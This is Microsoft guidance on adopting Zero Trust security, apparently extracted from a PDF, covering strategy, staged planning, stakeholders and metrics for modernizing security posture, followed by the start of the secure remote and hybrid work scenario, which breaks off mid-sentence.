3 Register devices with Microsoft Entra ID 
Some business scenarios are broad, and you might want to prioritize specific elements
of the scenario to work on first. Or you can prioritize specific zones of your digital estate
for configuration deployment first.
Define strategy phase


One of the biggest challenges of adopting Zero Trust is gaining support and
contribution from leaders across your organization. This adoption guidance is designed
to help you communicate with them so you can gain organizational alignment, define
your strategic goals, and identify outcomes.
Defining security as a business-level imperative is the first step toward a modern and
scalable security approach.
ﾉ Expand table
Traditional role of Modern security posture with Zero Trust

security as an
extension of IT
responsibility
Traditional protection Security is a responsibility shared among all levels of the business.
relies on security Accountability for security rests with the executive, while responsibility
specialists that are part is shared using the three Zero trust principles of Assume breach, Verify
of the IT team. Security explicitly, and Use least privilege access. A Zero Trust model moves
is an IT function. security from reactive (who did what and when based on logging) to
least privilege (based on just-in-time access to systems as needed). It
also implements architecture elements and security operations
capabilities to limit the damage from a breach.
The Zero Trust adoption overview article translates how Zero Trust applies to leadership
roles across many organizations. This article includes business descriptions of the Zero
Trust principles and a business translation of the technical areas included in a Zero Trust
architecture, including identities, devices, and app. These topics are good places to
begin conversations with your team of leaders. Be sure to probe and gain insights into
what motivates the leaders in your organization so you can more easily agree on
priorities and gain alignment and participation.
For this business scenario, rapidly modernizing your security posture, you do the work
of gaining alignment on the risks to your organization, your security strategy, and your
technical priorities. Ideally this helps you recruit funding and resources to do the work.
Understand the motivations of your business leaders

Gaining alignment begins with understanding what motivates your leaders and why they
should care about your security posture. The following table provides example
perspectives, but it’s important for you to meet with each of these leaders and teams
and come to a shared understanding of each other’s motivations.
ﾉ Expand table
Role Why rapidly modernizing your security posture is important
Chief Executive Fundamentally, the CEO is expected to maximize returns to the shareholders
Officer (CEO) within the law. To do this, the business must be empowered to achieve its
strategic goals and objectives, inclusive of the security strategy, in a
quantifiable way that enables evaluation of risks and costs. Business agility and
business execution should be empowered by the security posture.
Chief Marketing How the business is perceived both internally and externally relates to
Officer (CMO) employee and customer confidence. Breach readiness and security incident
communication strategy are vital to managing perception and opinions.
Chief The applications used by a mobile and hybrid workforce must be accessible
Information while securing the company's data. Security should be a measurable outcome
Officer (CIO) and aligned with IT strategy.
Chief Most best practice security standards and protocols require organizations to
Information continually improve the suitability, adequacy, and effectiveness of the
Security Officer information security management system. Modernizing the security posture
(CISO) allows for the evolution of business security policies and procedures which in
turn advance the overall security strategy within the business.
Chief The technology used to secure the business can't be constricted to what is
Technology achievable using previous datacenter thinking only. Complimentary
Officer (CTO) technologies that protect and enable business outcomes in a secure manner
must be adopted.
Chief Operations The business must be able to operate profitably before, during, and after an
Officer (COO) attack. Security posture must enable fault tolerance and recoverability to
prevent business outage.
Chief Financial The security posture must be a predictable cost with a measurable outcome,
Officer (CFO) like other business priorities.
Additionally, different parts of your organization will have different motivations and
incentives for doing this work. The following table summarizes some of these
motivations. Be sure to connect with your stakeholders to understand their motivations.
ﾉ Expand table
Area Motivations
Business To operate a business with a security posture that is integrated into business
needs needs and imperatives. This security posture aligns with business outcomes and
empowers the business attempting to implement security without creating
onerous operating friction.
IT needs A standardized security posture that caters for IT and Operational Technology
(OT) security requirements, defines and instruments security posture tools and
methodology, and provides predictable spend aligned to outcomes.
Operational Implement existing security solutions in a standardized manner. Lower the

needs management effort required to implement and maintain a security posture.
Security posture governance leads towards a Security Operations (SecOps) model
with defined roles and responsibilities.
Strategic To incrementally increase the friction created by security solutions to attack

needs scenarios and ruin an attacker’s return on investment. Assume breach requires
planning to minimize blast radius and attack surfaces and reduce recovery time
from a breach.
Achieve business alignment

To succeed at implementing the principles of Zero Trust together with your partner
teams, it’s critical that you achieve business alignment. When you agree on the risks and
gaps within your current security posture, the steps to mitigate these, and the method
you use to track and communicate progress, you build confidence in your evolving
security posture.
Business alignment can be achieved using one or both of the following approaches.
Take a risk-based approach in which you identify the top risks to your organization
and the mitigations that are most appropriate.
Create a defensive strategy, based on understanding where your digital assets are,
what they're composed of, and the relative risk profile based on exfiltration or loss
of access to your digital assets.
You can progress through this article using either approach. The technical objectives and
work described in the other business scenarios support both approaches.
Business alignment
Risk-based approach Defensive strategy

Prevent or reduce damage from a breach
Meet regulatory or compliance requirements
Security posture 
You can even take a risk-based approach to start (mitigating against your top risks) and
then transition to a defensive strategy to fill in the gaps. This section discusses how to
use both approaches to rapidly modernize your security posture.
Risk-based approach
Some organizations choose to prioritize work and measure progress against risk. Two
common tools for identifying risks include tabletop exercises and ISO standards.
Tabletop exercise evaluation

An easy way to get started is to use Six Tabletop Exercises to Help Prepare Your
Cybersecurity Team , provided by the Center for Internet Security (CIS).
These tabletop exercises are designed to help organizations walk through different risk
scenarios with the goal of evaluating the organization’s state of preparation. They're
each designed to be completed together with your team of stakeholders "in as little as
15 minutes."
These exercises guide participants through the process of a simulated incident and
require departments and teams to respond. The exercises help you evaluate your
preparedness in a cross-discipline manner.
These exercises are representative and inclusive of different business units, not just IT or
security. Consider working through and modifying the exercises, if needed, to ensure
they're relevant for your organization and include representation from different parts of
your organization, including marketing, executive leadership, and customer-facing roles
that could be impacted by the scenario.
The output of these exercises feed into your overall strategy and priorities. The output
helps you identify gaps and prioritize remediations. These priorities then inform your
work in the plan phase. These exercises can also help create urgency and investment
across your leadership team to mitigate the risks that you identify together.
Using ISO standards resources and tools
Many organizations use International Organization for Standardization (ISO) standards

resources and tools to gauge an organization’s risk. These provide a structured and
comprehensive way for you to review and gauge the risks that apply to your
organization, and mitigations. For more information, see the Tracking progress section
of the overview article.
Like the tabletop exercises, the output from this more formal review of your
organization’s risks feeds into your overall strategy and priorities. The output should
also help create urgency and investment across your teams to participate in
modernizing your security posture.
Defensive strategy
With a defensive strategy, you look across your digital estate to identify where your
digital assets are, what they're composed of, and the relative risk profile based on the
exfiltration or loss of access to your digital assets.
You prioritize defensive areas to focus on by taking each area and estimating the
potential damage to your business for these common types of incidents:
Data loss
Data leakage
Data breach
Data access loss
Compliance loss due to cyber incident
After you have identified the priority areas to defend, you can work systematically to
apply Zero Trust principles to these areas. You can also make a defensible case for the
funding and resources required to do this work.
Develop the strategy for rapidly modernizing your

security posture
After taking stock of your risks and defensive areas of your digital estate where you
want to invest in defense, several other resources can help inform your strategy.
This adoption guidance
Whether you're taking a risk approach or defensive approach (or both), use the Zero
Trust adoption guidance in this article as a starting point and prioritize the work based
on your organization’s priorities. This article's guidance provides a systematic approach
to applying the principles of Zero Trust. It’s based on fortifying the most common
targets attackers use to gain access to an environment (identities and devices) and
applying protections to your internal environment (like least privileged access and
network segmentation) to prevent or limit the damage of a breach.
Your current organization and resource strengths

Also consider where you have staff maturity and the resources and can accelerate for
quick wins. For example, if you have a highly motivated and well-resourced networking
team, you can accelerate the recommendations that require this skill set.
Shared responsibility model for the cloud

Another resource that is often used to help inform strategy and priorities is the shared
responsibility model. Your responsibility for security is based on the type of cloud
service. The following diagram summarizes the balance of responsibilities for both you
and Microsoft.
Responsibility SaaS PaaS IaaS On-prem
Information and data
Responsibility always retained by

Devices (mobile and PCs)
your organization
Accounts and identities
Identity and directory infrastructure
Applications
Responsibility varies by type
Network controls
Operating system
Physical hosts
Cloud-based physical resources are

Physical network
solely Microsoft’s responsibility
Physical datacenter

Microsoft Your organization
For more information, see Shared responsibility in the cloud in the Azure Security
Fundamentals library.
Shared responsibility is a planning model frequently used by security teams to help

transform the mindset and strategy from "in control of everything" to "sharing
responsibility with the cloud provider." This model emphasizes the strategy of moving
apps and resources to trusted cloud providers to reduce the security work that remains
for your organization.
This can become part of your long-term strategy, starting with the acquisition of new
cloud-based apps as a motivation to retire legacy apps and servers that your
organization personally maintains.
Your industry vertical

The nature or industry vertical of your business is a big driver of your strategy. It greatly
influences the contents of your digital estate, your risks, and your legal compliance
obligations.
Attacker return on investment
Finally, raising the cost of an attack for attackers makes your organization more resilient
to cybersecurity risk. Beyond meeting specific regulatory requirements, your budget
spend should make it more expensive and difficult for an attacker to gain access to your
environment and perform activities such as data exfiltration or data destruction. In other
words, you reduce the return on investment (ROI) of attackers, causing them to possibly
move on to another organization.
Attackers are often categorized by level of sophistication and resources (such as existing
tools and experienced staff), from lowest to highest: amateur, organized crime, and
nation states.
The principles of Zero Trust help your organization identify and prioritize how best to
spend your security defense budget to raise the cost of an attack so you can defend
against all levels of attackers.
The following figure shows the qualitative relationship between your security defense
budget with Zero Trust principles and your defensive strength.

Defensive strength can rapidly increase when you implement and practice basic security
hygiene based on Zero Trust principles. Beyond the early gains, you get additional
defensive strength by implementing more advanced security measures. Higher
defensive strength provides protection against higher levels of attackers.
The following figure shows the qualitative relationship between your defensive strength
and the impact of the cost and ROI of an attacker.

As your defensive strength increases, the cost to the attacker increases and reduces the
ROI of the attack effort.
The attacker ROI model helps leaders understand that there are few absolutes. A
security posture is never considered perfect or impenetrable. However, there's a lot of
opportunity for your organization to be strategic and prioritize your budget and
resources. It’s additional incentive for your team of business leaders to work together to
protect your organization.
Identify outcomes of your security posture

After working together to gain business alignment and identify strategic priorities, be
sure to identify specific outcomes. These can guide further prioritization and planning.
The following table lists common target outcomes to rapidly modernize your security
posture.
ﾉ Expand table
Objective Outcome
Security Organizations want to increase security friction enough to thwart attackers

outcomes without restricting business and technology outcomes.
Governance Company assets, data, and apps need to be secured while adhering to
Objective Outcome
architecture patterns and increasing compliance.
Prevention Access control and asset protection are aligned withing an integrated security
toolchain that includes all physical and digital assets.
Visibility The risk and security status of the organization must be measurable and visible to
multiple audience types. Predictable security outcomes should lead to predictable
spending outcomes.
Response SecOps roles and responsibilities are defined and implemented across the
organization, leadership, and operational business functions. Tools and processes
correlate security operations and security outcomes. Automation enables quick
incident detection and increases the ability of your implementation to respond
without manual intervention.
Document and report on your security posture

Finally, it’s important that you report on your security posture in an ongoing manner,
using one or more mechanisms, including Microsoft scoring mechanisms, and other
dashboards. There are many methods and tools you can use. Through this scenario,
you'll identify reports and tools that are most helpful for your organization. You'll also
develop a method of documenting your security posture that works for your
organization.
Plan phase
Adoption plans convert the aspirational goals of a Zero Trust strategy into an actionable
plan. Your collective teams can use the adoption plan to guide their technical efforts and
align these with your organization's business strategy.
Rapidly modernizing your security posture involves taking a graduated approach to

building maturity, including adopting methods to measure and report your progress
and status.
Many organizations can take a four-staged approach to these technical activities,
summarized in the following chart.
ﾉ Expand table
Stage 1 Stage 2 Stage 3 Stage 4
Identify risks to Develop a response Visualize your security Continuously educate

your organization readiness plan posture using audience- your users
appropriate dashboards
Identify gaps in Inventory your Evolve your
your security digital estate Document and manage organization’s
posture shadow IT using Microsoft SecOps capabilities
Implement basic Defender for Cloud Apps
Capture your initial hygiene practices Continue to manage
Secure Score status Develop a methodology for risk
Update your status patching and updating
Identify regulatory for Secure Score systems
requirements
Capture your status
Set leadership in Compliance
expectations Manager
If this staged approach works for your organization, you can use:
This downloadable PowerPoint slide deck to present and track your progress
through these stages and objectives for business leaders and other stakeholders.
Here's the slide for this business scenario.
This Excel workbook to assign owners and track your progress for these stages,
objectives, and their tasks. Here's the worksheet for this business scenario.

Stakeholder team
Your stakeholder team for this business scenario includes leaders across your
organization who are invested in your security posture and likely include the following
roles and responsibilities:
ﾉ Expand table
Stakeholder Roles and responsibilities
Sponsor Strategy, steering, escalation, approach, business alignment, and

manage coordination.
Project lead Overall engagement, resources, timeline and schedule,

communications, and other elements.
CISO Security and governance of identities, devices, and apps. Owns risk and
policy determination, tracking, and reporting.
Architecture lead Technical requirements, architecture, reviews, decisions, and

prioritization.
End user security and Your users’ needs and feedback.

usability (EUC) lead
Device management The strategy for protecting organization data on devices, including
architect managing devices.
App management lead Prioritization and tech requirements for app investments, including
bringing apps up to standards with modern authentication and
Microsoft Entra Conditional Access policies.
Service admins Tenant environment (preparation, testing, configuration).
Business unit Need and feedback from your business units.

representatives
The PowerPoint slide deck of resources for this adoption content includes the
following slide with a stakeholder view that you can customize for your own
organization.
Technical plans and skills readiness

Microsoft provides resources to help you rapidly modernize your security posture. The
following sections highlight resources for specific tasks in the four stages previously
defined.
Stage 1
In Stage 1, you begin to understand your current security posture. You start the
conversations across your leadership team and organization to learn what Zero Trust is
and how it aligns with business strategy and objectives.
ﾉ Expand table
Objectives for Resources

Stage 1
Identify risks to Implement security across the enterprise environment

your organization
This getting started guide outlines the key steps that can mitigate or avoid
the business risk from cybersecurity attacks. It can help you rapidly establish
essential security practices in the cloud and integrate security into your cloud
adoption process.
Also see the resources earlier in this article:
Tabletop exercises
Stage 1
ISO standards
Identify gaps in Zero Trust concepts and deployment objectives

your security
posture This series of articles provides recommendations by area (such as identity and
endpoints). You can use these articles to assess how many of the
recommendations are already complete and which ones remain.
Also, the planning resources in the other business scenarios include

recommended resources for doing this work.
Capture your Assess your security posture with Microsoft Secure Score
initial Secure
Score status Understanding your initial Secure Score enables you to set quantifiable
security goals and measure progress over time. It also enables you to
recognize downward trends in your posture, facilitating justification for more
modern feature deployments.
Identify Check in with your compliance team to learn about the regulations your
regulatory organization is subject to. List the regulatory and governance frameworks and
requirements any audit findings or specific controls that must be met towards achieving
secure compliance status.
Take a look at Microsoft Purview Compliance Manager to see if your

organization has started tracking progress against specific requirements.
Some of the most commonly required standards and how to configure
Microsoft Entra ID for compliance can be found in our standards
documentation library.
Set leadership Use the overview article as a resource to facilitate conversations with your
expectations leadership team on Zero Trust. It frames security as a business imperative and
defines zero trust specific to leadership roles. Use the progress slides in the
Business Scenarios section to present the work and track your progress at a
high level for business leaders and other stakeholders.
Stage 2
In Stage 2, you continue to detail your current security posture, including:
Developing a response readiness plan

Starting an inventory of your digital estate
Implementing basic hygiene
Develop a response readiness plan

Zero Trust assumes breach, considers the impact of a long-running attack on your
environment, and allows you to recover quickly from an incident. Your expectation of an
attack should lead to the operational readiness to detect, respond, and recover.
In this stage, you develop a response readiness plan for common types of attacks. This
plan includes how to respond to your users, your customers, and how to communicate
to the public if needed.
For each of the following scenarios, consider a tabletop exercise that documents the
current response to the loss of access to:
Authentication: Microsoft Entra ID or your on-premises Active Directory Domain

Services (AD DS)
Productivity: Tenant lockout
Data loss: Malicious deletion or encryption of data, random scenarios
Data leak: Exfiltration of data for industrial or nation state espionage, WikiLeaks
Denial of Service: Line of business (LOB) or data (such as structured data or a data
lake)
Be sure to include representatives of all roles that will be affected, including HR,
marketing, and relevant business groups.
For each scenario:
Consider the communication strategy for both public and internal

communications. Your plan should enable you to communicate responsibly in
compliance with the regulations of your government and industry. Your response
should also reduce the amount of information that you might inadvertently share
with attackers.
Evaluate the internal state of readiness to respond for IT and business teams and
when an external response team such as Microsoft Detection and Response Team
(DART) or another breach partner is required to either increase operational
readiness/cyber resilience or respond to an incident if internal teams become
overwhelmed.
In addition to developing readiness plans for common attacks, this exercise can help
gain support and investment across your organization for the work of implementing
mitigations.
Inventory your digital estate
When planning for breach readiness, you must understand the state of your physical
and digital assets. The first objective in this stage is to take inventory. Note that the
other business scenarios include taking inventory of the assets that are affected by the
scenario. These inventories and the status of the items become part of your security
posture.
For this business scenario, it's recommended that you create a list of all physical and
digital assets and services and LOB applications. Physical assets include endpoints
(mobile phones, PCs, and laptops), and servers (physical or virtual). Examples of digital
assets include services such as emails and retention data in Exchange Online, files and
records in SharePoint Online, SQL PaaS services, data lakes, files in on-premises file
servers or Azure File Shares. Consider using a Cloud Access Security Broker (CASB)
service such as Microsoft Defender for Cloud to expose the services used by users,
including shadow IT data locations.
The following are digital assets to include in your inventory:
Identities
Devices
Data
Apps
Infrastructure
Network
It might not be possible to develop a detailed list of assets and their status at this stage.
In some cases, this inventory relies on having tools installed, such as Microsoft Intune
and Defender for Cloud Apps. Simply begin the process. As you work through the other
business scenarios, these inventories will become more complete.
Ideally you can accomplish the following:
Rate your digital assets by content sensitivity and criticality. If you're unaware of
the locations of these assets, consider using Microsoft Purview to discover critical
data.
Keep an updated list of vulnerabilities that exist in your digital estate for all assets.
The following Zero Trust architecture diagram illustrates the relationship of these assets
to each other.
Policy Optimization
Governance
Compliance
Data
Identities
Human
Non-human
Apps
SaaS
Evaluation Public
On-premises
Enforcement Private
Personal Containers
IaaS
Threat Protection
Paas
Internal Sites
Threat Intelligence
Forensics
Response Automation

Implement basic hygiene

This stage also includes implementing basic hygiene practices. According to the
Microsoft Digital Defense Report (2022), "Although nation state actors can be
technically sophisticated and employ a wide variety of tactics, their attacks can often be
mitigated by good cyber hygiene." The report estimates, "Ninety eight percent of
attacks can be stopped with basic hygiene measures in place."
ﾉ Expand table

Stage 2
Develop a Cyberattacks Are Inevitable. Is Your Company Prepared? (Harvard Business

response Review)
readiness plan
Inventory your How do you manage IT asset inventory and documentation? (LinkedIn
digital estate article).
IT Asset Valuation, Risk Assessment and Control Implementation Model by

the Information Systems Audit and Control Association (ISACA) includes
examples of how to measure and categorize assets.
Implement basic Document the basic hygiene practices for your organization, including how
hygiene practices to measure success. Hygiene practices are cybersecurity practices that you
practice as a routine to mitigate online breaches. Many of these practices are
included in Stage 1 of other business scenarios. Some are included in later
stages.
Stage 2
How to Have Better Cyber Hygiene
Update your As you work through the recommendations across business scenarios,
status for Secure update your status for Secure Score. The score is a measure of progress and
Score success that you can communicate across your organization.
Assess your security posture with Microsoft Secure Score
Capture your If you’ve started using Microsoft Purview Compliance Manager to track your
status in regulatory compliance work, check back periodically to update your status.
Compliance Like Secure Score, this is a measure of progress and success that can be
Manager included as part of your security posture.
Stage 3
A security posture requires instrumentation to create visibility. You'll want to unify your
tools and methods into as few views or dashboards as possible for simplification. The
first objective in this stage is to visualize your security posture using audience-
appropriate dashboards.
Assuming breach requires us to look for and instrument breach preparedness by

implementing and instrumenting continuous monitoring. In this step, document and
review the number of portals or views that achieve this function. This internal
documentation can be reports that you compile manually or reports from your security
tools, like Secure Score, Compliance Manager, Microsoft Defender XDR, Microsoft
Defender for Cloud, Microsoft Sentinel, and other tools.
For example:
An executive summary view of risk, breach preparation, and current incidents.

A CISO summary view for IT and OT security assets.
Security Analyst views to respond to incidents.
A historical view on security information and event management (SIEM) and
security orchestration, automation, and response (SOAR) to comply with regulatory
demands and long-running threat hunting.
Creating and maintaining role-specific views create transparency with the status of the
security posture with your stakeholders who are sharing the burden of security
management, from executive leaders through to incident responders.
Stage 3 also includes maturing the managing shadow IT and patching areas of hygiene.
ﾉ Expand table
Objectives for Stage 3 Resources
Visualize your security The tracking progress section in the overview article provides several
posture using audience- examples.
appropriate dashboards
As you deploy and configure additional security capabilities, look for
additional audience-scoped views that are valuable for your
organization. For example, see Monitor Zero Trust (TIC 3.0) security
architectures with Microsoft Sentinel.
Document and manage This is a hygiene area you can mature in this stage if you’ve deployed
shadow IT using Defender for Cloud Apps. See Integrate SaaS apps for Zero Trust with
Defender for Cloud Apps Microsoft 365.
Develop a methodology This task within this business scenario isn't about how to patch and
for patching and update systems. Rather, it's about developing a methodology to
updating systems ensure patching and updating the various components of your digital
regularly and with time estate happens regularly with accountability, visibility, and good
sensitivity communication to all affected individuals. Look for opportunities to
automate this, where possible.
What are the best practices for patching and updating your IT
systems? (LinkedIn article)
Does Patching Make Perfect? (Infosecurity Magazine)
Stage 4
The objectives of Stage 4 are about maturing your organization’s ability to prevent and
respond to attacks.
ﾉ Expand table
Continuously educate To help Microsoft customers deploy user training quickly, easily, and
users effectively, use the Microsoft Cybersecurity Awareness Kit ,
developed in partnership with Terranova Security.
You can use attack simulation training in the Microsoft Defender portal
to run realistic attack scenarios in your organization. These simulated
attacks can help you identify and find vulnerable users. See Get started
using Attack simulation training.
Also see Microsoft 365 security tips infographic and Microsoft Entra
end-user rollout templates and materials .
Evolve your Integrating Microsoft Defender XDR into your security operations
organization’s security provides guidance for building and training your Security Operations
operations capability Center (SOC) team, including how to develop and formalize a process
for responding to incidents.
See the Microsoft Security Operations library for guidance on how to

respond to incidents and playbooks for responding to specific attack
types.
Continue to manage Develop a systematic way for your organization to evaluate and
risk manage risk on an ongoing basis. Revisit the tabletop exercises or ISO
standards to recalibrate where you are and what you have
accomplished.
Ready phase
The Ready phase for this business scenario is a bit different than for other business
scenarios. Rather than evaluating, testing, and piloting specific security capabilities or
configurations, the Ready phase for this scenario includes building your stakeholder
team and then working through each stage and objective with an agile approach.
For example, for each objective:
Evaluate what is needed to accomplish the objective, which includes who is

needed.
Begin with a reasonable approach and test it out. Adjust as needed.
Pilot the approach and adjust based on what you learn.
The following table is an example of how this can work for the Identify risks to your
organization objective in Stage 1 of the Plan phase.
ﾉ Expand table
Ready Actions
task
Evaluate Decide what resources you'll use to evaluate risks and who should be included in the
activities. This evaluation can include using the tabletop exercises or the ISO
standards. Determine who in your organization should participate.
Test Using the resources you're targeting, review the recommended exercises with a small
set of your stakeholders to gauge your readiness to engage your fuller team of
stakeholders.
Pilot If you're using the tabletop exercises, try out one of the scenarios with the chosen
participants. Review the results and determine if you’re ready to proceed to the other
exercises. If you’re using the ISO standards, target a portion of the standard to pilot
the evaluation.
By taking an agile approach like this, you allow opportunities to adjust and optimize
your methodology and process. You also build confidence as you go.
Adopt phase
In the adopt phase, you incrementally implement your strategy and deployment plans
across functional areas. For this scenario, this involves accomplishing the objectives set
out across the four stages, or the objectives and stages you have customized for your
organization.
However, modernizing your security posture includes accomplishing the technical

objectives recommended in the other business scenarios (or prioritized by your
organization). These all accrue to your security posture.
As you transition to the adopt phase for this scenario and the others, be sure to
communicate status, progress, and value.
Rapidly modernizing your security posture
Your strategy and business priorities
Your priority of the technical work Your leadership to gain Your ability to
recommended within the business scenarios: buy-in to strategic communicate status,
technical projects and to progress, and value
· Secure remote and hybrid work lead these to completion
· Identify and protect sensitive business data
· Prevent or reduce damage from a breach
· Meet regulatory or compliance
requirements

Govern and manage
Security governance is a constant process. As you transition to this phase, shift to

tracking and measuring the results of each piece of the Zero Trust architecture you’ve
implemented. Together with monitoring and detecting, you'll identify opportunities to
iterate for maturity.
Track and measure

This scenario article suggests different reports and dashboards you can use to assess
your status and measure progress. Ultimately you want to develop a set of metrics that
you can use to show progress and to identify where a new vulnerability might be
emerging. You can use the various reports and dashboards to gather the metrics that
are most important for your organization.
Team and organization metrics
The following table lists some example metrics you can use to track your team and
organization security posture.
ﾉ Expand table
Business enablement Security posture Security Security improvement
response
Mean time for security # of new apps Mean time to # of modernization

review reviewed recover (MTTR) projects open
# of days for Score from Secure Mean time to # of modernization

application security Score acknowledge project milestones
review (MTTA) achieved in the last 60
days
Average boot and % of compliant apps Time to restore Number of repetitive

sign-in time for critical systems manual steps removed
managed devices from workflows
Number of security # of privileged # of high-severity # of lessons learned from

interruptions in user accounts meeting incidents internal and external
workflow 100% of requirements incidents
% of IT helpdesk time # of accounts meeting Incident growth

spent on low-value 100% of requirements rate (overall)
security activities
In-product dashboards and reports

In addition to the PowerPoint and Excel-based tracking tools that are designed to work
with this adoption guidance, Microsoft provides in-product experiences to track your
progress toward technical implementation.
Microsoft Security Exposure Management is a security solution that provides a unified

view of security posture across company assets and workloads. Within this tool, Security
Initiatives help you assess readiness and maturity in specific areas of security risk.
Security Initiatives take a proactive approach to managing security programs towards
specific risk or domain-related objectives.
Use the Zero Trust initiative to track your organization’s progress toward implementing
Zero Trust security. This initiative is aligned with this Microsoft Zero Trust adoption
framework, allowing you to track your progress with metrics aligned with business
scenarios. These metrics capture your resource coverage across prioritized actionable
recommendations to help security teams protect their organization. The initiative also
provides real-time data on your Zero Trust progress that can be shared with
stakeholders.

Each metric includes insights that help teams understand the current state — providing
teams with recommendation details, identifying which assets are affected, and
measuring the impact on the overall Zero Trust maturity.
Zero Trust adoption is a team game that involves both security and IT operations teams
to be aligned and work together to prioritize changes that improve overall Zero Trust
maturity. At the metric and task level, you can share the recommendation with the
appropriate team and owner. The owner can then link directly to the admin experience
of the respective security control to configure and deploy the recommendation.

This Zero Trust adoption framework encourages you to take a risk-based approach
and/or a defensive strategy. With either of these approaches, you can target other
Security Initiatives within the exposure management tool, such as Ransomware
Protection or a specific threat initiative, and see your work accrue to Zero Trust maturity
in the Zero Trust initiative.
You can use the Zero Trust initiative together with this Zero Trust adoption framework.
The metrics and tasks within the initiative are organized by Zero Trust business scenario.
Monitor and detect

As you work through each business scenario, establish how you'll monitor and detect
changes to the environment and breaches. Many of the monitoring and detection
capabilities are provided through the Extended Detection and Response (XDR) tools,
including the suite of Microsoft Defender XDR products and Microsoft Sentinel. These
are implemented in the Prevent or reduce business damage from a breach business
scenario.
Iterate for maturity

Implementing Zero Trust is a journey. In enterprise-scale organizations, it can take years
to fully implement. In this time, attackers also continue to evolve their techniques. It’s
important to use your metrics together with your monitoring and detection capabilities
to identify where you need to iterate and mature an aspect of your Zero Trust
environment. Additionally, continue to evaluate and evolve the way you measure
success and communicate progress, status, and value.
Next Steps
Zero Trust adoption framework overview

For any of the Zero Trust business scenarios, you can use the following progress tracking
resources.
ﾉ Expand table
phase.

phase.
Feedback
Secure remote and hybrid work with
Zero Trust
Article • 04/24/2024
securing remote and hybrid work. Note that securing your business data and
infrastructure are the topics of separate business scenarios and are not included in this
guidance.
The shift to a hybrid workstyle has been forcing organizations to rapidly adapt. Remote
employees are getting work done any way they can, such as using personal devices,
collaborating through cloud services, and sharing data outside the corporate network
perimeter. Hybrid employees work on both corporate and home networks, switching
between business and personal devices.
As employees’ home networks stretch the corporate network perimeter, with different
devices joining that network, security threats are both multiplying and becoming more
sophisticated while attack vectors evolve.
ﾉ Expand table
Traditional protection with network Modern protection with Zero Trust

controls
Traditional protection relies on A Zero Trust model combines policies, processes, and
network firewalls and virtual private technology to establish trust from cloud to edge,
networks (VPNs) to isolate and restrict irrespective of where users access your network.
corporate resources.
A Zero Trust model doesn’t presume any user identity or
Employees physically ‘badge in’ to the device is secure on any network. The approach mandates
office and use their user account and that you verify the user identity and device, and do so
password to sign in with their device. while continuously monitoring network, data, and
Both the user account and the device application security in the office, at home, and across
are trusted by default. devices.
The following diagram illustrates the shift from traditional protection with network
controls on the left (from limited known locations) to modern protection with Zero Trust
on the right (to unknown locations) in which protection is applied regardless of where
users and devices are located.

The guidance in this article walks through how to get started with and implement your
strategy for securing remote and hybrid work.
How business leaders think about securing

remote and hybrid work
Before starting any technical work, it’s important to understand the different motivations
for investing in securing remote and hybrid work as these motivations help inform the
strategy, objectives, and measures for success.
The following table provides reasons why business leaders across an organization
should invest in securing remote and hybrid work.
ﾉ Expand table
Role Why securing remote and hybrid work is important
Chief Executive The business must be empowered to achieve its strategic goals and objectives,
Officer (CEO) irrespective of the employee's location. Business agility and business execution
shouldn't be constrained. The cost of a successful cyberattack can be a lot
more than the price of implementing security measures. In many cases,
compliance with cyber insurance requirements or standards or regional
regulations is required.
Chief Marketing How the business is perceived both internally and externally shouldn't be
Officer (CMO) restricted by devices or circumstances. Employee well-being is a high priority
Role Why securing remote and hybrid work is important
empowered by the choice to work from home or an office. A successful attack

can become public knowledge, potentially harming brand value.
Chief The applications used by a mobile and hybrid workforce must be accessible
Information while securing the company's data. Security should be a measurable outcome
Officer (CIO) and aligned with IT strategy. User experience and productivity are important.
Chief A remote or hybrid work environment creates a larger surface area for security
Information breaches. The organization should still comply with security and data
Security Officer protection requirements, standards, and regulations as the environment
(CISO) expands.
Chief The technologies and processes used to support business innovation must be
Technology protected. SecOps and DevSecOps practices can reduce the impact of an
Officer (CTO) attack. Complimentary technologies that facilitate both remote work and the
adoption of cloud services in a secure manner must be adopted.
Chief As the workforce becomes mobile and uses a fixed office location less often,
Operations business assets need to stay secure and business risk must be managed. With
Officer (COO) accountability to the CEO for day-to-day business production, any interference
with operations or supply chain due to an attack will impact the bottom line.
Chief Financial Spending priorities are shifting from fixed to agile models. Fixed datacenter
Officer (CFO) investment and buildings are moving to cloud applications and users working
from home. The costs of implementing security features must be balanced with
risk and cost analyses.
In addition to the motivations for business leaders, many employees expect flexibility
and want to work from anywhere, anytime, and from any device.
Microsoft is one of many enterprise-scale organizations that embraced remote and

hybrid work at the start of the COVID-19 pandemic. On page 87 of the Microsoft Digital
Defense Report 2022 , Microsoft emphasizes that this business opportunity introduces
risk and must be paired with security measures to increase resiliency against attacks:
Cybersecurity is a key enabler of technological success. Innovation and enhanced

productivity can only be achieved by introducing security measures that make
organizations as resilient as possible against modern attacks.
The pandemic has challenged us to pivot our security practices and technologies
to protect Microsoft’s employees wherever they work. This past year, threat actors
continued to take advantage of vulnerabilities exposed during the pandemic and
the shift to a hybrid work environment.
This report emphasizes that the vast majority of successful cyberattacks can be
prevented by using basic security hygiene.
The adoption cycle for securing remote and
hybrid work
Securing remote and hybrid work with Zero Trust includes deploying security
protections that are basic and at the same time provide sophisticated protection.
Technically, this objective involves policy enforcement and monitoring for all access to
your organization’s resources with a full end-to-end lifecycle approach.
This article walks through this business scenario using the same lifecycle phases as the
Cloud Adoption Framework for Azure (Define strategy, Plan, Ready, Adopt, and Govern
and manage), but adapted for Zero Trust.
ﾉ Expand table

manage
Outcomes Stakeholder Evaluate Incrementally implement Track and

team across your digital estate measure
Organizational Test
alignment Technical Monitor and
plans Pilot detect
Strategic goals
Skills Iterate for
readiness maturity
Read more about the Zero Trust adoption cycle in the Zero Trust adoption framework
overview.


The Define strategy phase is critical to define and formalize our efforts to address the
"Why?" of this scenario. In this phase, we understand the scenario through business, IT,
operational, and strategic perspectives.
We define the outcomes against which to measure success in the scenario,

understanding that security is an incremental and iterative journey.
This article suggests motivations and outcomes that are relevant to many organizations.
Use these suggestions to hone the strategy for your organization based on your unique
needs.
Secure remote and hybrid work motivations

The motivations for securing remote and hybrid work are straightforward, but different
parts of your organization will have different incentives for doing this work. The
following table summarizes some of these motivations.
ﾉ Expand table
Area Motivations
Business To provide access to information anytime, anywhere on any device, without

needs lowering security standards and managing data access risks.
IT needs A standardized identity platform that caters for human and non-human identity
requirements, removes the needs for VPNs, and provides remote management of
corporate and BYOD devices in a compliant manner while providing a seamless
and positive user experience.
Operational Implement existing security solutions in a standardized manner. Lower the

needs management effort required to implement and maintain secure identities. Identity
governance means onboarding and offboarding users, granting access to
